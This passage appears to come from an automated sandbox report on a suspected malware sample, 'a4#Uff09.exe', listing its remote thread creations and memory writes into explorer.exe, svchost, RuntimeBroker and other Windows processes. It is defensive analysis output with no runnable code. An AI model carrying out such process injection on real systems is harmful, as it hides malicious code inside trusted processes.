                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 13B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2A20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2B70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1570000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 15C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 15A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 15B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: D40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: D50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 8F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 940000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: E50000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: E60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: D40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2930000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 780000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 790000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: BC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: E10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2700000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2C20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2C30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2A40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2DA0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1290000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 12A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 5C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 5D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2540000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2590000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 28C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2910000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: EE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: F30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2C10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2C20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2430000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2480000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 5B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 800000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2820000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2970000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2BB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2BC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1340000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1350000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2DB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2E00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1280000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1290000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2CF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2E40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 5F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2370000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2170000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2180000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2BB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2C00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2450000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 24A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2D70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2DC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1310000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1320000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 980000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 990000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1100000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1110000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2A60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2AB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 5B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 8D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 920000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 970000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 670000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 6C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 10E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 10F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: B10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: B60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1240000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1250000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1440000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1450000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2E70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2E80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 25C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2610000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 29F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2A40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2F90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 30E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2840000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2850000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2650000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 26A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2890000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 28A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 500000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 510000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: DD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: DE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 28B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2900000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2CF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2D00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: F00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 29F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2AE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2AF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 6D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 720000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1470000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1480000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2AE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2B30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1430000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1440000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2870000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 28C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 21D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2220000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: C20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: C30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2D90000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2DE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 10A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 10B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: A60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: A70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2EE0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2F40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2BA0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2BF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2D10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2E60000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: A70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2600000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 4F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 500000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1230000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1240000Jump to behavior
                Injects code into the Windows Explorer (explorer.exe)
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: B190000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: F20000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: F40000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: F50000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: F60000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: 8390000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: 83A0000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: 8850000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: 8860000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: 8880000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: EF0000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: F10000 value: E8Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: PID: 4056 base: 94E0000 value: E8Jump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 9D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: AD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\dwm.exe base: 10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\sihost.exe base: 3B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: 980000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ctfmon.exe base: AB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\explorer.exe base: B190000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\svchost.exe base: BD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CA0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 8C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: ED0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 9C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 950000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\smartscreen.exe base: 70000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\ApplicationFrameHost.exe base: 10000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 100000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 120000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C40000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 290000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SysWOW64\cscript.exe base: 25D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\SysWOW64\cscript.exe base: 25E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: AB0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Windows\System32\conhost.exe base: 9F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1610000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1620000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1640000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 460000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 470000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2590000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 25E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2EC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 3010000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2840000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2850000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: CF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: D00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1430000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1190000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1230000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 21C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2310000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 520000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6D0000Jump to behavior
